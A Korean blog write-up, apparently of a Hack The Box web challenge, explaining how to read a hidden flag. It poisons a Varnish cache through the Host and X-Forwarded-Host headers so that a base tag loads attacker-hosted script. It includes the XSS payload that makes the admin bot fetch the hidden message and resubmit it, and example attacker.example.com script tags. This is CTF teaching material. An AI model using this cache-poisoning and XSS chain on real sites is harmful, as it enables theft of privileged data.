티스토리 뷰

728x90
반응형

문제 개요

Get access to admin-only internal page with web cache poisoning vulnerability.

코드 분석

Flag 위치

우선 HTB Flag의 위치는 서버 시작 시 동시에 생성되는 DB의 테이블에 있었습니다.

INSERT INTO messages (id, message, hidden) VALUES
(1, "Dear Easter Bunny,\nPlease could I have the biggest easter egg you have?\n\nThank you\nGeorge", 0),
(2, "Dear Easter Bunny,\nCould I have 3 chocolate bars and 2 easter eggs please!\nYours sincerly, Katie", 0),
(3, "Dear Easter Bunny, Santa's better than you! HTB{f4k3_fl4g_f0r_t3st1ng}", 1),
(4, "Hello Easter Bunny,\n\nCan I have a PlayStation 5 and a chocolate chick??", 0),
(5, "Dear Ester Bunny,\nOne chocolate and marshmallow bunny please\n\nLove from Milly", 0),
(6, "Dear Easter Bunny,\n\nHow are you? Im fine please may I have 31 chocolate bunnies\n\nThank you\nBeth", 0);

보시면 알겠지만 id가 3인 컬럼에 Flag 값이 삽입되어 있음을 알 수 있습니다.

 

그리고 /message/3 경로로 요청을 해보면 해당 값이 아래와 같이 hidden 되어 있고, 총 letter 수가 위에서 insert 되는만큼인 6개임을 알 수 있습니다.

{
  "error": "Sorry, this letter has been hidden by the easter bunny's helpers!",
  "count": 6
}

 

Bypass Target

아래 코드를 보면 알겠지만, hidden 메시지를 확인하기 위해서는 isAdmin 함수를 우회해야한다는 것을 알 수 있습니다.

router.get("/message/:id", async (req, res) => {
    try {
        const { id } = req.params;
        const { count } = await db.getMessageCount();
        const message = await db.getMessage(id);

        if (!message) return res.status(404).send({
            error: "Can't find this note!",
            count: count
        });

        if (message.hidden && !isAdmin(req))
            return res.status(401).send({
                error: "Sorry, this letter has been hidden by the easter bunny's helpers!",
                count: count
            });

        if (message.hidden) res.set("Cache-Control", "private, max-age=0, s-maxage=0 ,no-cache, no-store");

        return res.status(200).send({
            message: message.message,
            count: count,
        });
    } catch (error) {
        console.error(error);
        res.status(500).send({
            error: "Something went wrong!",
        });
    }
});

 

그리고 isAdmin 의 경우에는 아래와 같이 IP주소가 127.0.0.1 이어야 하고, 쿠키 값이 admin, 즉 puppeteer bot 의 쿠키값이어야 한다는 것을 알 수 있습니다.

const authSecret = require('crypto').randomBytes(69).toString('hex');

const isAdmin = (req, res) => {
  return req.ip === '127.0.0.1' && req.cookies['auth'] === authSecret;
};

 

XSS Target

위 내용은 결국 오로지 봇을 통해서만 쿠키값 및 Flag 값을 확인할 수 있다는 의미와 같습니다. 그러므로 봇으로 진입할 수 있는 지점을 찾아보면 딱 한 군데가 보입니다. 바로 letter 을 작성하고 전송할 때 발생하는 /submit 경로입니다.

router.post("/submit", async (req, res) => {
    const { message } = req.body;

    if (message) {
        return db.insertMessage(message)
            .then(async inserted => {
                try {
                    botVisiting = true;
                    await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret);
                    botVisiting = false;
                }
                catch (e) {
                    console.log(e);
                    botVisiting = false;
                }
                res.status(201).send(response(inserted.lastID));
            })
            .catch(() => {
                res.status(500).send(response('Something went wrong!'));
            });
    }
    return res.status(401).send(response('Missing required parameters!'));
});

 

이 곳에서는 새로운 letter 의 내용을 db 에 삽입해줌과 동시에 bot으로 하여금 /letters?id=[최신의 letter ID] 페이지에 접근하게끔 합니다. 그리고 /letters 라우팅 경로는 viewletters.html 템플릿을 cdn 이라는 key 값에 아래와 같이 값을 넣어주고서 렌더링해줍니다.

router.get("/letters", (req, res) => {
    return res.render("viewletters.html", {
        cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
    });
});

그리고 바로 위 cdn 값은 아래의 base 태그의 href 값으로 들어갑니다.

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <base href="{{cdn}}" />
    <link rel="preconnect" href="https://fonts.googleapis.com" />
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="" />
    <link href="https://fonts.googleapis.com/css2?family=Caveat&amp;family=Secular+One&amp;display=swap" rel="stylesheet" />
    <link href="main.css" rel="stylesheet" />
    <title>Write to the Easter Bunny!</title>
  </head>
...생략...

base 태그는 해당 문서의 모든 상대 주소(relative URL)에 대한 기본 URL(base URL)과 target 속성값을 정의할 때 사용합니다. 즉 만약 base 태그의 href 값이 http://127.0.0.1:80/ 이라면 link 태그의 href 로 main.css 와 script 태그의 src 를 아래와 같이 인식하게 해줍니다.

<!-- <link href="main.css" rel="stylesheet" /> -->
<link href="http://127.0.0.1:80/main.css" rel="stylesheet" />

<!-- <script src="viewletter.js"></script> -->
<script src="http://127.0.0.1:80/viewletter.js"></script>

 

 

그럼 만약 base 태그의 cdn 주소에 들어가는 URL을 공격자가 임의로 조작할 수 있다면 어떨까요? 공격자의 css 파일이나 javascript 파일을 불러오게 만들 수 있지 않을까요?

 

맞습니다. 바로 이 점을 이용해서 XSS(Cross-site Scripting) 공격이 가능해집니다. 아래와 같이 말이죠.

<!-- <link href="main.css" rel="stylesheet" /> -->
<link href="http://attacker.example.com/main.css" rel="stylesheet" />

<!-- <script src="viewletter.js"></script> -->
<script src="http://attacker.example.com/viewletter.js"></script>

 

Web Cache Config

웹 캐시 설정은 cache.vcl 파일에 있습니다. Cache 서버는 Varnish Cache 를 사용하고 있고 80번 포트를 사용하고 있음을 알 수 있습니다. 아래는 VCL(Varnish Configuration Language)로 작성되어 있는 파일 내용 중 일부입니다.

sub vcl_hash {
    hash_data(req.url);

    if (req.http.host) {
        hash_data(req.http.host);
    } else {
        hash_data(server.ip);
    }

    return (lookup);
}

기본적으로 url 과 host 또는 ip 를 기준으로 캐싱하고 있음을 알 수 있습니다. 그러므로 공격자가 HTTP Header 중 Host 값을 내부 서버 IP주소인 127.0.0.1로 수정하고 특정 URL 경로를 입력하고 보내면 해당 요청은 캐싱될 것임을 유추할 수 있습니다.

 

그럼 이제 떠오르는 문제풀이 시나리오는 이렇습니다.

1. base 태그의 href 값을 공격자의 주소로 수정하여 script 태그의 viewletters.js 가 공격자 서버의 script로 변환되어 XSS 공격이 가능한 페이지를 캐싱(caching)합니다.

2. 아무런 letter 하나를 작성하구서 /submit 경로로 보냈을 때 admin bot 이 공격자가 캐싱한 페이지를 방문하게 합니다.

3. XSS 공격으로 admin bot 이 Flag 값이 존재하는 letter의 내용을 읽어들이고 해당 내용으로 letter을 작성하게 한다면 문제는 풀리게 됩니다.

 

문제 풀이

공격자의 서버에 있는 viewletters.js 파일의 내용은 아래와 같이 제작하였습니다.

fetch("http://127.0.0.1:80/message/3").then((r) => {
    return r.text();
}).then((x) => {
    fetch("http://127.0.0.1:80/submit", {
        "headers": {
            "content-type": "application/json"
        },
        "body": x,
        "method": "POST",
        "mode": "cors",
        "credentials": "omit"
    });
});

 

공격자의 서버 설정을 끝났으면 이제 Web Cache Poisoning 공격을 시도합니다.

위에서 보는 바와 같이 Host 는 admin bot 이 cache poisoning 될 수 있도록 127.0.0.1 주소로 설정해주었고, base 태그에 들어가는 href 속성 값은 별도로 X-Forwarded-Host 헤더를 이용해서 Host 를 변조해주었습니다.

 

이제 변조된 46번째 letter 로 admin bot 이 접근하도록 해주기 위해서 letter 를 작성해줍니다.

그럼 위와 같이 message 46 이 나왔다는 것은 아래 코드에서 46번째 letter을 작성하기도 하였지만 그와 동시에 admin bot 이 46번째 letter에 접근했다는 의미와 일치합니다.

router.post("/submit", async (req, res) => {
    const { message } = req.body;

    if (message) {
        return db.insertMessage(message)
            .then(async inserted => {
                try {
                    botVisiting = true;
                    await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret);
                    botVisiting = false;
                }
                catch (e) {
                    console.log(e);
                    botVisiting = false;
                }
                res.status(201).send(response(inserted.lastID));
            })
            .catch(() => {
                res.status(500).send(response('Something went wrong!'));
            });
    }
    return res.status(401).send(response('Missing required parameters!'));
});

 

XSS 공격 코드로 인해서 Flag 값을 담아서 다시 letter 을 작성하였을테니깐 이젠 46이 아닌 47번째 letter을 확인해보면 공격이 정상적으로 시도되었는지를 확인할 수 있겠습니다.

이로써 성공적으로 Cache Poisoning을 통한 XSS 공격이 수행되었음을 확인할 수 있었습니다.

 

- 끝 -

 

마무리

이번 문제는 한번도 풀어보지 못한 종류의 문제였어서 초반에는 조금 많이 헤맸던 문제였습니다.

 

처음에는 단순히 puppeteer 만 보구서 단순한 Blind XSS 문제일줄 알았는데, 몇 번 보고나니 바로 아닌 것을 알 수 있었고, 그 다음으로는 Varnish Cache 관련해서 취약점이 있을 것으로 보였습니다. 그래서 해당 모듈 관련 CVE 를 조사하던 와중에 HTTP Request Smuggling HTTP/1과 HTTP/2 버전이 모두 올라와있길래 해당 취약점일거라 생각하고 HTTP Request Smuggling 관련해서 공부하던 중에 문득 단순 Web Cache Poisoning 일 수도 있지 않을까 하는 의문이 들어서, 관련해서 시도를 해보았더니 다행히 성공해서 문제를 풀 수 있었습니다.

 

해당 문제는 생긴지 얼마되지 않은 따끈따끈한 문제여서 그런지 84번째로 풀었고 아마 문제풀이도 최초로 업로드되는 것이 아닌가 싶네요.

728x90
반응형
댓글